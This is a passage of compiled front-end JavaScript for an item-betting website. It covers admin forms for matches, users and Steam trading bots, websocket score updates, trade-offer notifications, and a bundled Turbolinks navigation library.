[name=\"endtime\"]').val(match[\"endtime\"]);\n $('#editMatch-form [name=\"betsLimit\"]').val(match[\"betsLimit\"]);\n writeup = $(this).data(\"writeup\");\n $('#editMatch-form [name=\"articleText\"]').val(writeup[\"text\"]);\n $('#editMatch-form [name=\"articleName\"]').val(writeup[\"articleName\"]);\n $('#editMatch-form [name=\"articleLink\"]').val(writeup[\"articleLink\"]);\n $('#editMatch-form [name=\"matchLink\"]').val(writeup[\"matchLink\"]);\n $('#editMatch-form [name=\"vodLink\"]').val(writeup[\"vodLink\"]);\n $(\"#editMatch-modal\").modal(\"show\");\n $('#editMatch-form').submit(function() {\n $.ajax({\n type: \"POST\",\n url: location.href + \"edit/\" + match[\"id\"] + \"/\",\n data: $(this).serialize(),\n context: document.body,\n success: function(data) {\n var array;\n array = JSON.parse(data);\n if (array[\"success\"]) {\n window.setTimeout((function() {\n Turbolinks.visit(location.href);\n }), 0);\n } else {\n $(\"#editMatch-modal .modal-body\").html(\"<p class=\\\"text-danger\\\">\" + array[\"message\"] + \"</p>\");\n window.setTimeout((function() {\n Turbolinks.visit(location.href);\n }), 3000);\n }\n }\n });\n return false;\n });\n });\n }\n if ($(\"#editUser-form\").length > 0) {\n $('#editUser-form').submit(function() {\n var userID;\n userID = $(this).data(\"id\");\n $.ajax({\n type: \"POST\",\n url: \"/manage/users/edit/\" + userID + \"/\",\n data: $(this).serialize(),\n context: document.body,\n success: function(data) {\n var array;\n array = JSON.parse(data);\n if (array[\"success\"]) {\n window.setTimeout((function() {\n Turbolinks.visit(location.href);\n }), 0);\n } else {\n $(this).parent().prepend(\"<p class=\\\"text-danger\\\">\" + array[\"message\"] + \"</p>\");\n window.setTimeout((function() {\n Turbolinks.visit(location.href);\n }), 3000);\n }\n }\n });\n return false;\n });\n return;\n }\n if ($(\".updateScore-button\").length > 0) {\n match = void 0;\n window.socket.addMessage((function(_this) {\n return function(event) {\n var array;\n array = JSON.parse(event.data);\n if (array[0] === \"scores\") {\n $(\"#updateScore-form\").remove();\n if (array[1] === \"data\") {\n $(\"#updateScore-modal .modal-body\").append(\"<p class=\\\"data-status\\\"><i class=\\\"fa fa-check\\\"></i> Preparing data\");\n } else if (array[1] === \"items\") {\n $(\"#updateScore-modal .modal-body\").append(\"<p class=\\\"items-status\\\"><i class=\\\"fa fa-check\\\"></i> Sorting items\");\n } else if (array[1] === \"bots\") {\n $(\"#updateScore-modal .modal-body\").append(\"<p class=\\\"bots-status\\\"><i class=\\\"fa fa-check\\\"></i> Preparing bots\");\n } else if (array[1] === \"database\") {\n $(\"#updateScore-modal .modal-body\").append(\"<p class=\\\"db-status\\\"><i class=\\\"fa fa-check\\\"></i> Updating database\");\n } else if (array[1] === \"updated\") {\n $(\"#updateScore-modal .modal-body\").append(\"<p><i class=\\\"fa fa-check\\\"></i> Done!\");\n window.setTimeout((function() {\n location.reload();\n }), 500);\n } else if (array[1] === \"concurrent\") {\n $(\"#updateScore-modal .modal-body\").append(\"<p><i class=\\\"fa fa-times\\\"></i> Another match is being processed already.\");\n }\n }\n if (array[0] === \"auth\") {\n if (array[1] === false) {\n $(\"#updateScore-modal .modal-body\").html(\"<p><i class=\\\"fa fa-times\\\"></i> Error authenticating\");\n return window.setTimeout((function() {\n location.reload();\n }), 500);\n }\n }\n };\n })(this));\n $(\".submitScore-button\").on(\"click\", function() {\n var json;\n json = JSON.stringify([\"score\", match, parseInt($('[name=\"status\"]').val()), parseInt($('[name=\"team1\"]').val()), parseInt($('[name=\"team2\"]').val())]);\n return window.socket.ws.send(json);\n });\n $(\".updateScore-button\").on(\"click\", function() {\n var array;\n array = $(this).data(\"json\");\n match = array[\"id\"];\n $('.team1Name').text(array[\"Team1\"][\"short\"]);\n $('[name=\"team1\"]').val(array[\"Team1\"][\"points\"]);\n $('.team2Name').text(array[\"Team2\"][\"short\"]);\n $('[name=\"team2\"]').val(array[\"Team2\"][\"points\"]);\n $('[name=\"status\"]').val(array[\"status\"]);\n $(\"#updateScore-modal\").modal(\"show\");\n });\n }\n if (path[2] === \"bots\") {\n $(\".bot-items\").circliful();\n $(\".editBot-button\").on(\"click\", function() {\n var array;\n array = $(this).data(\"json\");\n $('#editBot-form [name=name]').val(array[\"name\"]);\n $('#editBot-form [name=emailAddress]').val(array[\"emailAddress\"]);\n $('#editBot-form [name=emailPassword]').val(\"\");\n $('#editBot-form [name=steamLogin]').val(array[\"steamLogin\"]);\n $('#editBot-form [name=steamPassword]').val(\"\");\n $('#editBot-form [name=steamID]').val(array[\"steamID\"]);\n $('#editBot-form [name=steamAPI]').val(array[\"steamAPI\"]);\n $('#editBot-form [name=tradeoffers]').val(array[\"tradeoffers\"]);\n $('#editBot-form [name=slots]').val(array[\"slots\"]);\n $(\"#editBot-modal\").modal(\"show\");\n $('#editBot-form').submit(function() {\n $.ajax({\n type: \"POST\",\n url: location.href.split('?')[0] + \"edit/\" + array[\"id\"] + \"/\",\n data: $(this).serialize(),\n context: document.body,\n success: function(data) {\n array = JSON.parse(data);\n if (array[\"success\"]) {\n window.setTimeout((function() {\n Turbolinks.visit(location.href);\n }), 0);\n } else {\n $(\"#editBot-modal .modal-body\").html(\"<p class=\\\"text-danger\\\">\" + array[\"message\"] + \"</p>\");\n window.setTimeout((function() {\n Turbolinks.visit(location.href);\n }), 3000);\n }\n }\n });\n return false;\n });\n });\n }\n if ($(\".trade\").length > 0) {\n $(\"#carousel-inventory-ours\").carousel({\n inverval: false\n });\n $(\"#carousel-inventory-ours\").carousel(\"pause\");\n $(\"#carousel-inventory-ours\").on(\"slid.bs.carousel\", function() {\n $(this).carousel(\"pause\");\n });\n $(\"#carousel-inventory-theirs\").carousel({\n inverval: false\n });\n $(\"#carousel-inventory-theirs\").carousel(\"pause\");\n $(\"#carousel-inventory-theirs\").on(\"slid.bs.carousel\", function() {\n $(this).carousel(\"pause\");\n });\n $(\".steam-item\").each(function() {\n $(this).on(\"click\", function(e) {\n console.log(e.button);\n if (e.button !== 2) {\n if ($(this).hasClass(\"active\")) {\n $(this).removeClass(\"active\");\n if ($(\".steam-item.active\").length === 0) {\n $(\".btn-trade\").addClass(\"disabled\");\n }\n } else {\n $(this).addClass(\"active\");\n $(\".btn-trade\").removeClass(\"disabled\");\n }\n }\n });\n $(this).on(\"contextmenu\", function() {\n window.open(\"http://backpack.tf/item/\" + $(this).data(\"assetid\"));\n return false;\n });\n });\n $(\".btn-trade\").on(\"click\", function() {\n var itemsToGive, itemsToReceive, json;\n itemsToGive = [];\n $(\"#carousel-inventory-ours .steam-item.active\").each(function() {\n return itemsToGive.push($(this).data(\"assetid\"));\n });\n itemsToReceive = [];\n $(\"#carousel-inventory-theirs .steam-item.active\").each(function() {\n return itemsToReceive.push($(this).data(\"assetid\"));\n });\n $(\".btn-trade\").html(\"<i class=\\\"fa fa-spin fa-circle-o-notch\\\"></i> Sending\");\n json = JSON.stringify([\"refund\", botID, userID, itemsToGive, itemsToReceive]);\n window.socket.ws.send(json);\n });\n }\n if ($(\"#user-search\").length > 0) {\n $(\"#user-search\").on(\"keyup\", function() {\n if ($(\"#user-search\").val().length) {\n $.getJSON(\"/api/users/name/\" + $(\"#user-search\").val() + \"/limit/5/\", function(data) {\n var player, _i, _len, _results;\n if ($(\".search .list-group\").length === 0) {\n $(\".search\").append(\"<div class=\\\"list-group\\\"></div>\");\n } else {\n $(\".search .list-group\").empty();\n }\n _results = [];\n for (_i = 0, _len = data.length; _i < _len; _i++) {\n player = data[_i];\n _results.push($(\".search .list-group\").append(\"<a class=\\\"list-group-item\\\" href=\\\"/manage/users/\" + player[\"id\"] + \"/\\\"><i class=\\\"fa fa-user\\\"></i> \" + player[\"name\"] + \"</a>\"));\n }\n return _results;\n });\n } else {\n $(\".search .list-group\").remove();\n }\n });\n }\n if ($(\".viewTicket-button\").length > 0) {\n $(\".viewTicket-button\").on(\"click\", function() {\n var text;\n text = $(this).data(\"text\");\n $(\"#ticket-modal .modal-body\").text(text);\n return $(\"#ticket-modal\").modal(\"show\");\n });\n }\n }\n });\n });\n\n}).call(this);\n\n(function() {\n $(function() {\n $(document).on('page:before-change', function() {});\n $(document).on('page:load page:restore', function() {\n var block, infiniteBets, infiniteBetsOne, path, teamIDs;\n path = window.location.pathname.split(\"/\");\n if (path[1] === \"match\") {\n teamIDs = $(\"[data-teamids]\").data(\"teamids\");\n block = {};\n block[teamIDs[0]] = false;\n block[teamIDs[1]] = false;\n console.log(teamIDs[0]);\n infiniteBets = function(teamID) {\n var height;\n height = void 0;\n if (teamID === teamIDs[0]) {\n height = $(\".bets-row .col-md-6.left\").height() - $(window).height() - 300;\n } else {\n height = $(\".bets-row .col-md-6.right\").height() - $(window).height() - 300;\n }\n if ($(window).scrollTop() > height && block[teamID] === false) {\n block[teamID] = true;\n $.ajax({\n url: \"/ajax/match/\" + path[2] + \"/bets/team/\" + teamID + \"/offset/\" + ($(\".bet-team-\" + teamID).length - $(\".bet-own.bet-team-\" + teamID).length) + \"/\",\n success: function(html) {\n var $element, $elements, element, _i, _len;\n if (/\\S/.test(html)) {\n $elements = $(html);\n for (_i = 0, _len = $elements.length; _i < _len; _i++) {\n element = $elements[_i];\n $element = $(element);\n $element.find(\".has-popover\").each(function() {\n window.initializePopover($(this));\n });\n if (teamID === teamIDs[0]) {\n $(\".bets-row .col-md-6.left\").append($element);\n } else {\n $(\".bets-row .col-md-6.right\").append($element);\n }\n $element.removeClass(\"hide\").cssAnimation(\"fadeInUp\");\n }\n block[teamID] = false;\n } else {\n block[teamID] = true;\n }\n }\n });\n }\n };\n infiniteBetsOne = function() {\n infiniteBets(teamIDs[0]);\n infiniteBets(teamIDs[1]);\n };\n $(window).on(\"scroll\", infiniteBetsOne);\n infiniteBetsOne();\n }\n window.socket.addMessage((function(_this) {\n return function(event) {\n var array;\n path = window.location.pathname.split(\"/\");\n if (path[1] === \"match\") {\n array = JSON.parse(event.data);\n if (array[0] === \"matchStart\" || array[0] === \"matchEnd\") {\n if (array[1] === path[2]) {\n window.setTimeout((function() {\n location.reload();\n }), 500);\n }\n }\n }\n };\n })(this));\n });\n });\n\n}).call(this);\n\n(function() {\n window.notification = function(type, identifier, text, dismissable) {\n var $notification;\n if ($(\".notification-\" + identifier).length > 0) {\n return $(\".notification-\" + identifier).html(text);\n } else {\n $notification = $(\"<div class=\\\"alert notification\\\"></div>\");\n if (dismissable) {\n $notification.append(\"<button type=\\\"button\\\" class=\\\"close\\\" data-dismiss=\\\"alert\\\"><span aria-hidden=\\\"true\\\">&times;</span><span class=\\\"sr-only\\\">Close</span></button>\");\n }\n $notification.addClass(\"alert-\" + type);\n $notification.addClass(\"notification-\" + identifier);\n $notification.append(text);\n $notification.find(\".close\").on(\"click\", function() {\n $(this).parent().remove();\n });\n $(\".notifications\").append($notification);\n $notification.cssAnimation(\"fadeInUp\");\n }\n };\n\n}).call(this);\n\n(function() {\n var countdownOffer, offerNotification;\n\n window.trade = true;\n\n offerNotification = function(offerID, type, match, team, time) {\n var icon;\n icon = type === 0 ? \"gavel\" : \"briefcase\";\n window.notification(\"default\", \"pending-offer\", \"<div class=\\\"media\\\"> <div class=\\\"media-left\\\"> <img src=\\\"https://saloon.tf/images/teams/\" + team[\"id\"] + \".jpg\\\" class=\\\"media-object team-avatar avatar-md\\\"> </div> <div class=\\\"media-body\\\"> <p><i class=\\\"fa fa-\" + icon + \"\\\"></i> <strong>\" + team[\"short\"] + \"</strong><span class=\\\"pull-right\\\"><i class=\\\"fa fa-clock-o\\\"></i> <span class=\\\"pending-offer-countdown\\\"></span>s</span></p> <span class=\\\"pending-offer-info\\\"> <a class=\\\"btn btn-primary btn-sm btn-block\\\" href=\\\"https://steamcommunity.com/tradeoffer/\" + offerID + \"\\\" target=\\\"_blank\\\"><i class=\\\"fa fa-refresh\\\"></i> Trade</a> </span> </div> </div>\");\n countdownOffer(time);\n };\n\n countdownOffer = function(seconds) {\n if (seconds > 0 && $(\".notification-pending-offer\").length) {\n $(\".pending-offer-countdown\").text(seconds);\n window.setTimeout((function() {\n countdownOffer(seconds - 1);\n }), 1000);\n }\n };\n\n $(function() {\n $(document).on('page:before-unload', function() {});\n $(document).on('page:change page:restore', function() {\n window.socket.addMessage((function(_this) {\n return function(event) {\n var array;\n array = JSON.parse(event.data);\n if (array[0] === \"offer\") {\n if (array[1] === \"pending\") {\n window.trade = false;\n $(\"[data-trade-required]\").addClass(\"disabled\");\n offerNotification(array[2], array[3], array[4], array[5], array[6]);\n $(\".notification-queue\").remove();\n } else if (array[1] === \"canceling\") {\n $(\".pending-offer-info\").html(\"<i class=\\\"fa fa-circle-o-notch fa-spin\\\"></i> Canceling\");\n } else if (array[1] === \"closed\") {\n window.trade = true;\n $(\"[data-trade-required]\").each(function() {\n if (window.bot === true || $(this).data(\"bot-required\") === void 0) {\n $(this).removeClass(\"disabled\");\n }\n });\n $(\".notification-pending-offer\").remove();\n }\n }\n };\n })(this));\n });\n });\n\n}).call(this);\n\n(function() {\n $(function() {\n $(document).on('page:change page:restore', function() {\n var path;\n path = window.location.pathname.split(\"/\");\n if (path[1] === \"support\") {\n if ($('#submitTicket-form').length > 0) {\n $('#submitTicket-form').submit(function() {\n $.ajax({\n type: \"POST\",\n url: \"/support/new/\",\n data: $(this).serialize(),\n context: document.body,\n success: function(data) {\n var array, type;\n array = JSON.parse(data);\n if (array[\"success\"]) {\n type = \"success\";\n } else {\n type = \"danger\";\n }\n window.notification(type, \"submit\", array[\"message\"]);\n }\n });\n $(\".submitTicket-button\").addClass(\"disabled\");\n return false;\n });\n }\n }\n });\n });\n\n}).call(this);\n\n(function() {\n var CSRFToken, Click, ComponentUrl, EVENTS, Link, browserIsntBuggy, browserSupportsCustomEvents, browserSupportsPushState, browserSupportsTurbolinks, bypassOnLoadPopstate, cacheCurrentPage, cacheSize, changePage, clone, constrainPageCacheTo, createDocument, crossOriginRedirect, currentState, enableTransitionCache, executeScriptTags, extractTitleAndBody, fetch, fetchHistory, fetchReplacement, historyStateIsDefined, initializeTurbolinks, installDocumentReadyPageEventTriggers, installHistoryChangeHandler, installJqueryAjaxSuccessPageUpdateTrigger, loadedAssets, manuallyTriggerHashChangeForFirefox, pageCache, pageChangePrevented, pagesCached, popCookie, processResponse, recallScrollPosition, referer, reflectNewUrl, reflectRedirectedUrl, rememberCurrentState, rememberCurrentUrl, rememberReferer, removeNoscriptTags, requestMethodIsSafe, resetScrollPosition, setAutofocusElement, transitionCacheEnabled, transitionCacheFor, triggerEvent, visit, xhr, _ref,\n __indexOf = [].indexOf || function(item) { for (var i = 0, l = this.length; i < l; i++) { if (i in this && this[i] === item) return i; } return -1; },\n __hasProp = {}.hasOwnProperty,\n __extends = function(child, parent) { for (var key in parent) { if (__hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; },\n __slice = [].slice;\n\n pageCache = {};\n\n cacheSize = 10;\n\n transitionCacheEnabled = false;\n\n currentState = null;\n\n loadedAssets = null;\n\n referer = null;\n\n xhr = null;\n\n EVENTS = {\n BEFORE_CHANGE: 'page:before-change',\n FETCH: 'page:fetch',\n RECEIVE: 'page:receive',\n CHANGE: 'page:change',\n UPDATE: 'page:update',\n LOAD: 'page:load',\n RESTORE: 'page:restore',\n BEFORE_UNLOAD: 'page:before-unload',\n EXPIRE: 'page:expire'\n };\n\n fetch = function(url) {\n var cachedPage;\n url = new ComponentUrl(url);\n rememberReferer();\n cacheCurrentPage();\n if (transitionCacheEnabled && (cachedPage = transitionCacheFor(url.absolute))) {\n fetchHistory(cachedPage);\n return fetchReplacement(url, null, false);\n } else {\n return fetchReplacement(url, resetScrollPosition);\n }\n };\n\n transitionCacheFor = function(url) {\n var cachedPage;\n cachedPage = pageCache[url];\n if (cachedPage && !cachedPage.transitionCacheDisabled) {\n return cachedPage;\n }\n };\n\n enableTransitionCache = function(enable) {\n if (enable == null) {\n enable = true;\n }\n return transitionCacheEnabled = enable;\n };\n\n fetchReplacement = function(url, onLoadFunction) {\n NProgress.start();\n triggerEvent(EVENTS.FETCH, {\n url: url.absolute\n });\n if (xhr != null) {\n xhr.abort();\n }\n xhr = new XMLHttpRequest;\n xhr.open('GET', url.withoutHashForIE10compatibility(), true);\n xhr.setRequestHeader('Accept', 'text/html, application/xhtml+xml, application/xml');\n xhr.setRequestHeader('X-XHR-Referer', referer);\n xhr.setRequestHeader('X-Turbo', 'true');\n xhr.onload = function() {\n var doc;\n triggerEvent(EVENTS.RECEIVE, {\n url: url.absolute\n });\n if (doc = processResponse()) {\n reflectNewUrl(url);\n reflectRedirectedUrl();\n changePage.apply(null, extractTitleAndBody(doc));\n manuallyTriggerHashChangeForFirefox();\n if (typeof onLoadFunction === \"function\") {\n onLoadFunction();\n }\n return triggerEvent(EVENTS.LOAD);\n } else {\n return document.location.href = crossOriginRedirect() || url.absolute;\n }\n };\n xhr.onprogress = (function(_this) {\n return function(event) {\n if (event.lengthComputable) {\n return NProgress.set(event.loaded / event.total * 100);\n } else {\n return NProgress.inc();\n }\n };\n })(this);\n xhr.onloadend = function() {\n return xhr = null;\n };\n xhr.onerror = function() {\n return document.location.href = url.absolute;\n };\n return xhr.send();\n };\n\n fetchHistory = function(cachedPage) {\n if (xhr != null) {\n xhr.abort();\n }\n changePage(cachedPage.title, cachedPage.body);\n recallScrollPosition(cachedPage);\n triggerEvent(EVENTS.RESTORE);\n NProgress.done();\n return document.body.removeChild(document.getElementById(\"nprogress\"));\n };\n\n cacheCurrentPage = function() {\n var currentStateUrl;\n currentStateUrl = new ComponentUrl(currentState.url);\n pageCache[currentStateUrl.absolute] = {\n url: currentStateUrl.relative,\n body: document.body,\n title: document.title,\n positionY: window.pageYOffset,\n positionX: window.pageXOffset,\n cachedAt: new Date().getTime(),\n transitionCacheDisabled: document.querySelector('[data-no-transition-cache]') != null\n };\n return constrainPageCacheTo(cacheSize);\n };\n\n pagesCached = function(size) {\n if (size == null) {\n size = cacheSize;\n }\n if (/^[\\d]+$/.test(size)) {\n return cacheSize = parseInt(size);\n }\n };\n\n constrainPageCacheTo = function(limit) {\n var cacheTimesRecentFirst, key, pageCacheKeys, _i, _len, _results;\n pageCacheKeys = Object.keys(pageCache);\n cacheTimesRecentFirst = pageCacheKeys.map(function(url) {\n return pageCache[url].cachedAt;\n }).sort(function(a, b) {\n return b - a;\n });\n _results = [];\n for (_i = 0, _len = pageCacheKeys.length; _i < _len; _i++) {\n key = pageCacheKeys[_i];\n if (!(pageCache[key].cachedAt <= cacheTimesRecentFirst[limit])) {\n continue;\n }\n triggerEvent(EVENTS.EXPIRE, pageCache[key]);\n _results.push(delete pageCache[key]);\n }\n return _results;\n };\n\n changePage = function(title, body, csrfToken, runScripts) {\n var notifications;\n triggerEvent(EVENTS.BEFORE_UNLOAD);\n document.title = title;\n notifications = document.getElementsByClassName(\"notifications\")[0].innerHTML.replace(/\\animated fadeInUp\\b/, '');\n document.documentElement.replaceChild(body, document.body);\n document.getElementsByClassName(\"notifications\")[0].innerHTML = notifications;\n if (csrfToken != null) {\n CSRFToken.update(csrfToken);\n }\n setAutofocusElement();\n if (runScripts) {\n executeScriptTags();\n }\n currentState = window.history.state;\n triggerEvent(EVENTS.CHANGE);\n NProgress.done();\n return triggerEvent(EVENTS.UPDATE);\n };\n\n executeScriptTags = function() {\n var attr, copy, nextSibling, parentNode, script, scripts, _i, _j, _len, _len1, _ref, _ref1;\n scripts = Array.prototype.slice.call(document.body.querySelectorAll('script:not([data-turbolinks-eval=\"false\"])'));\n for (_i = 0, _len = scripts.length; _i < _len; _i++) {\n script = scripts[_i];\n if (!((_ref = script.type) === '' || _ref === 'text/javascript')) {\n continue;\n }\n copy = document.createElement('script');\n _ref1 = script.attributes;\n for (_j = 0, _len1 = _ref1.length; _j < _len1; _j++) {\n attr = _ref1[_j];\n copy.setAttribute(attr.name, attr.value);\n }\n if (!script.hasAttribute('async')) {\n copy.async = false;\n }\n copy.appendChild(document.createTextNode(script.innerHTML));\n parentNode = script.parentNode, nextSibling = script.nextSibling;\n parentNode.removeChild(script);\n parentNode.insertBefore(copy, nextSibling);\n }\n };\n\n removeNoscriptTags = function(node) {\n node.innerHTML = node.innerHTML.replace(/<noscript[\\S\\s]*?<\\/noscript>/ig, '');\n return node;\n };\n\n setAutofocusElement = function() {\n var autofocusElement, list;\n autofocusElement = (list = document.querySelectorAll('input[autofocus], textarea[autofocus]'))[list.length - 1];\n if (autofocusElement && document.activeElement !== autofocusElement) {\n return autofocusElement.focus();\n }\n };\n\n reflectNewUrl = function(url) {\n if ((url = new ComponentUrl(url)).absolute !== referer) {\n return window.history.pushState({\n turbolinks: true,\n url: url.absolute\n }, '', url.absolute);\n }\n };\n\n reflectRedirectedUrl = function() {\n var location, preservedHash;\n if (xhr.getResponseHeader('X-XHR-Redirected-To')) {\n location = xhr.getResponseHeader('X-XHR-Redirected-To');\n } else if (xhr.responseURL) {\n location = xhr.responseURL;\n }\n if (location) {\n console.log(location);\n location = new ComponentUrl(location);\n preservedHash = location.hasNoHash() ? document.location.hash : '';\n return window.history.replaceState(window.history.state, '', location.href + preservedHash);\n }\n };\n\n crossOriginRedirect = function() {\n var redirect;\n if (((redirect = xhr.getResponseHeader('Location')) != null) && (new ComponentUrl(redirect)).crossOrigin()) {\n return redirect;\n }\n };\n\n rememberReferer = function() {\n return referer = document.location.href;\n };\n\n rememberCurrentUrl = function() {\n return window.history.replaceState({\n turbolinks: true,\n url: document.location.href\n }, '', document.location.href);\n };\n\n rememberCurrentState = function() {\n return currentState = window.history.state;\n };\n\n manuallyTriggerHashChangeForFirefox = function() {\n var url;\n if (navigator.userAgent.match(/Firefox/) && !(url = new ComponentUrl).hasNoHash()) {\n window.history.replaceState(currentState, '', url.withoutHash());\n return document.location.hash = url.hash;\n }\n };\n\n recallScrollPosition = function(page) {\n return window.scrollTo(page.positionX, page.positionY);\n };\n\n resetScrollPosition = function() {\n if (document.location.hash) {\n return document.location.href = document.location.href;\n } else {\n return window.scrollTo(0, 0);\n }\n };\n\n clone = function(original) {\n var copy, key, value;\n if ((original == null) || typeof original !== 'object') {\n return original;\n }\n copy = new original.constructor();\n for (key in original) {\n value = original[key];\n copy[key] = clone(value);\n }\n return copy;\n };\n\n popCookie = function(name) {\n var value, _ref;\n value = ((_ref = document.cookie.match(new RegExp(name + \"=(\\\\w+)\"))) != null ? _ref[1].toUpperCase() : void 0) || '';\n document.cookie = name + '=; expires=Thu, 01-Jan-70 00:00:01 GMT; path=/';\n return value;\n };\n\n triggerEvent = function(name, data) {\n var event;\n if (typeof Prototype !== 'undefined') {\n Event.fire(document, name, data, true);\n }\n event = document.createEvent('Events');\n if (data) {\n event.data = data;\n }\n event.initEvent(name, true, true);\n return document.dispatchEvent(event);\n };\n\n pageChangePrevented = function(url) {\n return !triggerEvent(EVENTS.BEFORE_CHANGE, {\n url: url\n });\n };\n\n processResponse = function() {\n var assetsChanged, clientOrServerError, doc, extractTrackAssets, intersection, validContent;\n clientOrServerError = function() {\n var _ref;\n return (400 <= (_ref = xhr.status) && _ref < 600);\n };\n validContent = function() {\n var contentType;\n return ((contentType = xhr.getResponseHeader('Content-Type')) != null) && contentType.match(/^(?:text\\/html|application\\/xhtml\\+xml|application\\/xml)(?:;|$)/);\n };\n extractTrackAssets = function(doc) {\n var node, _i, _len, _ref, _results;\n _ref = doc.querySelector('head').childNodes;\n _results = [];\n for (_i = 0, _len = _ref.length; _i < _len; _i++) {\n node = _ref[_i];\n if ((typeof node.getAttribute === \"function\" ? node.getAttribute('data-turbolinks-track') : void 0) != null) {\n _results.push(node.getAttribute('src') || node.getAttribute('href'));\n }\n }\n return _results;\n };\n assetsChanged = function(doc) {\n var fetchedAssets;\n loadedAssets || (loadedAssets = extractTrackAssets(document));\n fetchedAssets = extractTrackAssets(doc);\n return fetchedAssets.length !== loadedAssets.length || intersection(fetchedAssets, loadedAssets).length !== loadedAssets.length;\n };\n intersection = function(a, b) {\n var value, _i, _len, _ref, _results;\n if (a.length > b.length) {\n _ref = [b, a], a = _ref[0], b = _ref[1];\n }\n _results = [];\n for (_i = 0, _len = a.length; _i < _len; _i++) {\n value = a[_i];\n if (__indexOf.call(b, value) >= 0) {\n _results.push(value);\n }\n }\n return _results;\n };\n if (!clientOrServerError() && validContent()) {\n doc = createDocument(xhr.responseText);\n if (doc && !assetsChanged(doc)) {\n return doc;\n }\n }\n };\n\n extractTitleAndBody = function(doc) {\n var title;\n title = doc.querySelector('title');\n return [title != null ? title.textContent : void 0, removeNoscriptTags(doc.querySelector('body')), CSRFToken.get(doc).token, 'runScripts'];\n };\n\n CSRFToken = {\n get: function(doc) {\n var tag;\n if (doc == null) {\n doc = document;\n }\n return {\n node: tag = doc.querySelector('meta[name=\"csrf-token\"]'),\n token: tag != null ? typeof tag.getAttribute === \"function\" ? tag.getAttribute('content') : void 0 : void 0\n };\n },\n update: function(latest) {\n var current;\n current = this.get();\n if ((current.token != null) && (latest != null) && current.token !== latest) {\n return current.node.setAttribute('content', latest);\n }\n }\n };\n\n createDocument = function(html) {\n var doc;\n doc = document.documentElement.cloneNode();\n doc.innerHTML = html;\n doc.head = doc.querySelector('head');\n doc.body = doc.querySelector('body');\n return doc;\n };\n\n ComponentUrl = (function() {\n function ComponentUrl(original) {\n this.original = original != null ? original : document.location.href;\n if (this.original.constructor === ComponentUrl) {\n return this.original;\n }\n this._parse();\n }\n\n ComponentUrl.prototype.withoutHash = function() {\n return this.href.replace(this.hash, '').replace('#', '');\n };\n\n ComponentUrl.prototype.withoutHashForIE10compatibility = function() {\n return this.withoutHash();\n };\n\n ComponentUrl.prototype.hasNoHash = function() {\n return this.hash.length === 0;\n };\n\n ComponentUrl.prototype.crossOrigin = function() {\n return this.origin !== (new ComponentUrl).origin;\n };\n\n ComponentUrl.prototype._parse = function() {\n var _ref;\n (this.link != null ? this.link : this.link = document.createElement('a')).href = this.original;\n _ref = this.link, this.href = _ref.href, this.protocol = _ref.protocol, this.host = _ref.host, this.hostname = _ref.hostname, this.port = _ref.port, this.pathname = _ref.pathname, this.search = _ref.search, this.hash = _ref.hash;\n this.origin = [this.protocol, '//', this.hostname].join('');\n if (this.port.length !== 0) {\n this.origin += \":\" + this.port;\n }\n this.relative = [this.pathname, this.search, this.hash].join('');\n return this.absolute = this.href;\n };\n\n return ComponentUrl;\n\n })();\n\n Link = (function(_super) {\n __extends(Link, _super);\n\n Link.HTML_EXTENSIONS = ['html'];\n\n Link.allowExtensions = function() {\n var extension, extensions, _i, _len;\n extensions = 1 <= arguments.length ? __slice.call(arguments, 0) : [];\n for (_i = 0, _len = extensions.length; _i < _len; _i++) {\n extension = extensions[_i];\n Link.HTML_EXTENSIONS.push(extension);\n }\n return Link.HTML_EXTENSIONS;\n };\n\n function Link(link) {\n this.link = link;\n if (this.link.constructor === Link) {\n return this.link;\n }\n this.original = this.link.href;\n this.originalElement = this.link;\n this.link = this.link.cloneNode(false);\n Link.__super__.constructor.apply(this, arguments);\n }\n\n Link.prototype.shouldIgnore = function() {\n return this.crossOrigin() || this._anchored() || this._nonHtml() || this._optOut() || this._target();\n };\n\n Link.prototype._anchored = function() {\n return (this.hash.length > 0 || this.href.charAt(this.href.length - 1) === '#') && (this.withoutHash() === (new ComponentUrl).withoutHash());\n };\n\n Link.prototype._nonHtml = function() {\n return this.pathname.match(/\\.[a-z]+$/g) && !this.pathname.match(new RegExp(\"\\\\.(?:\" + (Link.HTML_EXTENSIONS.join('|')) + \")?$\", 'g'));\n };\n\n Link.prototype._optOut = function() {\n var ignore, link;\n link = this.originalElement;\n while (!(ignore || link === document)) {\n ignore = link.getAttribute('data-no-turbolink') != null;\n link = link.parentNode;\n }\n return ignore;\n };\n\n Link.prototype._target = function() {\n return this.link.target.length !== 0;\n };\n\n return Link;\n\n })(ComponentUrl);\n\n Click = (function() {\n Click.installHandlerLast = function(event) {\n if (!event.defaultPrevented) {\n document.removeEventListener('click', Click.handle, false);\n return document.addEventListener('click', Click.handle, false);\n }\n };\n\n Click.handle = function(event) {\n return new Click(event);\n };\n\n function Click(event) {\n this.event = event;\n if (this.event.defaultPrevented) {\n return;\n }\n this._extractLink();\n if (this._validForTurbolinks()) {\n if (!pageChangePrevented(this.link.absolute)) {\n visit(this.link.href);\n }\n this.event.preventDefault();\n }\n }\n\n Click.prototype._extractLink = function() {\n var link;\n link = this.event.target;\n while (!(!link.parentNode || link.nodeName === 'A')) {\n link = link.parentNode;\n }\n if (link.nodeName === 'A' && link.href.length !== 0) {\n return this.link = new Link(link);\n }\n };\n\n Click.prototype._validForTurbolinks = function() {\n return (this.link != null) && !(this.link.shouldIgnore() || this._nonStandardClick());\n };\n\n Click.prototype._nonStandardClick = function() {\n return this.event.which > 1 || this.event.metaKey || this.event.ctrlKey || this.event.shiftKey || this.event.altKey;\n };\n\n return Click;\n\n })();\n\n bypassOnLoadPopstate = function(fn) {\n return setTimeout(fn, 500);\n };\n\n installDocumentReadyPageEventTriggers = function() {\n return document.addEventListener('DOMContentLoaded', (function() {\n triggerEvent(EVENTS.CHANGE);\n return triggerEvent(EVENTS.UPDATE);\n }), true);\n };\n\n installJqueryAjaxSuccessPageUpdateTrigger = function() {\n if (typeof jQuery !== 'undefined') {\n return jQuery(document).on('ajaxSuccess', function(event, xhr, settings) {\n if (!jQuery.trim(xhr.responseText)) {\n return;\n }\n return triggerEvent(EVENTS.UPDATE);\n });\n }\n };\n\n installHistoryChangeHandler = function(event) {\n var cachedPage, _ref;\n if ((_ref = event.state) != null ? _ref.turbolinks : void 0) {\n if (cachedPage = pageCache[(new ComponentUrl(event.state.url)).absolute]) {\n cacheCurrentPage();\n return fetchHistory(cachedPage);\n } else {\n return 